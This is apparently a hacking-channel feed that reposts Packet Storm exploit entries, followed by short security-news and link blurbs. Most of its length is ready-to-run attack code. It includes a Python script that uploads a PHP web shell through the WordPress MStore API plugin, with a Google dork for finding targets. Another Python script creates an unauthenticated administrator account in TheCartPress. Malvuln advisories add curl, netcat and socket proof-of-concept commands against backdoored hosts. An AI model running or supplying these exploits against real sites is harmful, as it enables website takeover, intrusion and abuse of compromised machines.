Exploit Collector
Atlassian Jira Server/Data Center 8.4.0 File Read

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress MStore API 2.0.6 Shell Upload

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
WordPress MStore API plugin version 2.0.6 suffers from a remote shell upload vulnerability.

MD5 | 6e3f0552b63e3cd586048101955060f8

Download
# Exploit Title: Wordpress Plugin MStore API 2.0.6 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/mstore-api/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/mstore-api/
# Version: 2.0.6, possibly higher
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
print("MStore API < 2.0.6 - Arbitrary File Upload")
print("Author -> space_hen (www.github.com/spacehen)")

def print_usage():
print("Usage: python3 exploit.py [target url] [shell path]")
print("Ex: python3 exploit.py https://example.com ./shell.php")

def vuln_check(uri):
response = requests.post(uri)
raw = response.text

if ("Key must be" in raw):
return True;
else:
return False;

def main():

print_banner()
if(len(sys.argv) != 3):
print_usage();
sys.exit(1);

base = sys.argv[1]
file_path = sys.argv[2]

rest_url = '/wp-json/api/flutter_woo/config_file'

uri = base + rest_url;
check = vuln_check(uri);

if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)

if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)

files = {'file' : ( "config.json.php", open(file_path), "application/json" )}

print("Uploading shell...");
response = requests.post(uri, files=files )
# response should be location of file
print(response.text)

main();


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Tapatalk Plugins PHP Object Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Hupigon.gy Unauthenticated Open Proxy

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
Backdoor.Win32.Hupigon.gy malware suffers from an unauthenticated open proxy vulnerability.

MD5 | f40c6ec5a0d24c163d67dfdb2aba5593

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/be74cbb86c007309d8004d910f5270f7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.gy
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: be74cbb86c007309d8004d910f5270f7
Vuln ID: MVID-2021-0357
Dropped files: woaisaomm.exe
Disclosure: 10/04/2021
Exploit/PoC:
Download filez)

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128" --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24576 100 24576 0 0 12288 0 0:00:02 0:00:02 --:--:-- 11155

Scan ports)

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128:21"
220 INetSim FTP Service ready.
500 Unknown command.

curl http://192.168.18.125:8080/DOOM.exe -H "Host: 192.168.18.128:110"
+OK INetSim POP3 Server ready <25705.1632630840@pop3host
-ERR Unknown command.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Prorat.lkt Hardcoded Password

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
Backdoor.Win32.Prorat.lkt malware suffers from a weak hardcoded password vulnerability.

MD5 | 682ff40b7904c447ee31b7563c300499

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/dec8f9042986d64e29d62effb482290b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Prorat.lkt
Vulnerability: Weak Hardcoded Password
Description: The ProSpy Server V1.9 malware runs an FTP component that listens on TCP port 2121. The FTP server requires authentication for remote user access. However, the username and password both use the word "special" which is both weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: dec8f9042986d64e29d62effb482290b
Vuln ID: MVID-2021-0360
Dropped files: dxdiag.exe
Disclosure: 10/04/2021

Exploit/PoC:
nc64.exe 192.168.18.125 2121
220 ProSpy FTP Server ready.
USER special
331 Password required for special.
PASS special
230 User special logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,23).
STOR DOOM.js
150 Opening data connection for DOOM.js.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=49687
DOOM="DOOM.js"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress TheCartPress 1.5.3.6 Privilege Escalation

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
WordPress TheCartPress plugin version 1.5.3.6 suffers from a privilege escalation vulnerability.

MD5 | c63e9322c843e01994dd05fa67d59410

Download
# Exploit Title: Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/thecartpress/
# Date: 04/10/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugin/thecartpress
# Version: <=
# Tested on: Ubuntu 20.04.1

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
print("TheCartPress <=
print("Author -> space_hen (www.github.com/spacehen)")

def print_usage():
print("Usage: python3 exploit.py [target url]")
print("Ex: python3 exploit.py https://example.com")

def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("User name is required" in raw):
return True;
else:
return False;

def main():

print_banner()
if(len(sys.argv) != 2):
print_usage();
sys.exit(1);

base = sys.argv[1]

ajax_action = 'tcp_register_and_login_ajax'
admin = '/wp-admin/admin-ajax.php';

uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);

if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)

data = {
"tcp_new_user_name" : "admin_02",
"tcp_new_user_pass" : "admin1234",
"tcp_repeat_user_pass" : "admin1234",
"tcp_new_user_email" : "test@test.com",
"tcp_role" : "administrator"
}
print("Inserting admin...");
response = requests.post(uri, data=data )
if (response.text == "\"\""):
print("Success!")
print("Now login at /wp-admin/")
else:
print(response.text)

main();


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
CVE Data Is Often Misinterpreted: Here's What to Look For

Common vulnerabilities and exposures (CVEs) contain actionable details that can help address your security concerns. Here's how to get more from CVE data.

Dark Reading: Attacks/Breaches
Why Access Control Has Become an Important Front in the War Against Cybercrime

A Hiscox report has found that spending on cybersecurity from businesses has doubled since 2019. Tomáš Vystavěl, Chief Product Officer at 2N TELEKOMUNIKACE, investigates why access control has become such an important asset in the fight against cybercrime.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How easy is it to hack a security from ten years ago compared to now?

I want to know how easy it would be for someone with today knowledge about hacking to hack something from ten years ago(Nothing military or something alike). Is there a really big difference besides the obvious technological advancement?

submitted by /u/godack
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Pwncat — Fancy Reverse And Bind Shell Handler
https://salvadores.medium.com/pwncat-fancy-reverse-and-bind-shell-handler-781884efdf6f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

pwncat is a post-exploitation platform for Linux targets. It started out as a wrapper around basic bind and reverse shells and has grown…Continue reading on Medium » (https://salvadores.medium.com/pwncat-fancy-reverse-and-bind-shell-handler-781884efdf6f?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

The BugéDex Workshop— My experience and what your takeaway should be from it
https://medium.com/@napmapper/the-bug%C3%A9dex-workshop-my-experience-and-what-your-takeaway-should-be-from-it-98a85c0eb78a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

For the uninitiated, BugéDex is a workshop on Bug Bounty and Reporting hosted by CSI-VIT with cybersecurity experts from CloudSEK leading…Continue reading on Medium » (https://medium.com/@napmapper/the-bug%C3%A9dex-workshop-my-experience-and-what-your-takeaway-should-be-from-it-98a85c0eb78a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video